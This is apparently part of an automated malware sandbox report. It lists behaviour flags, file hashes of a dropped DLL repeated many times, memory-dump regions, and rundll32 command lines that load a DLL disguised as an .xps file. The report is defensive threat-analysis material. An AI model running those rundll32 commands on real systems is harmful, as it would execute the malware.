- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pkenzanizwanacd\sbcchpoyfwradp.xps",KGbHUkPAXywuV6⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Pkenzanizwanacd\sbcchpoyfwradp.xps",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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\Users\Admin\Cha1_5j\Pzyrxyv\J47K.dllMD5
2a8ba413fbb293f07e9dbcf61f5708f7
SHA10245cb95bb876286aada0df789fd126f5d802e84
SHA2569ecf542f504924626c0f18758a259f50e4e2f02d74c9b940bf291d4887bde56d
SHA512bdeaffcc75130c939baae4579a4ab59469726651d5d74631d793df83679d2549a676cb2ff21fc59e5a5270a40aadd8abb6bd82feb69e08b4d471aa64b76c52bc
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memory/112-11-0x00000000025F0000-0x00000000025F1000-memory.dmpFilesize
4KB
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memory/112-7-0x000007FEFBDE1000-0x000007FEFBDE3000-memory.dmpFilesize
8KB
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memory/112-13-0x00000000027B4000-0x00000000027B6000-memory.dmpFilesize
8KB
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memory/112-14-0x0000000001F70000-0x0000000001F71000-memory.dmpFilesize
4KB
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memory/112-15-0x000000001B8F0000-0x000000001B8F1000-memory.dmpFilesize
4KB
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memory/112-16-0x000000001C370000-0x000000001C371000-memory.dmpFilesize
4KB
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memory/112-6-0x0000000000000000-mapping.dmp
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memory/112-12-0x00000000027B0000-0x00000000027B2000-memory.dmpFilesize
8KB
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memory/112-8-0x000007FEF5670000-0x000007FEF605C000-memory.dmpFilesize
9.9MB
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memory/112-9-0x0000000001F30000-0x0000000001F31000-memory.dmpFilesize
4KB
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memory/112-10-0x000000001AAB0000-0x000000001AAB1000-memory.dmpFilesize
4KB
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memory/308-20-0x0000000075F21000-0x0000000075F23000-memory.dmpFilesize
8KB
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memory/308-19-0x0000000000000000-mapping.dmp
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memory/308-33-0x0000000000290000-0x00000000002B5000-memory.dmpFilesize
148KB
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memory/308-34-0x00000000001F1000-0x0000000000254000-memory.dmpFilesize
396KB
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memory/572-43-0x000007FEF6460000-0x000007FEF66DA000-memory.dmpFilesize
2.5MB
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memory/656-17-0x0000000000000000-mapping.dmp
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memory/760-42-0x00000000001C1000-0x0000000000224000-memory.dmpFilesize
396KB
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memory/760-37-0x0000000000000000-mapping.dmp
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memory/1120-31-0x0000000000000000-mapping.dmp
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memory/1120-40-0x0000000000211000-0x0000000000274000-memory.dmpFilesize
396KB
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memory/1524-36-0x0000000000191000-0x00000000001F4000-memory.dmpFilesize
396KB
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memory/1524-25-0x0000000000000000-mapping.dmp
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memory/1676-3-0x0000000070361000-0x0000000070363000-memory.dmpFilesize
8KB
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memory/1676-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1676-2-0x00000000728E1000-0x00000000728E4000-memory.dmpFilesize
12KB
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memory/1824-5-0x0000000000000000-mapping.dmp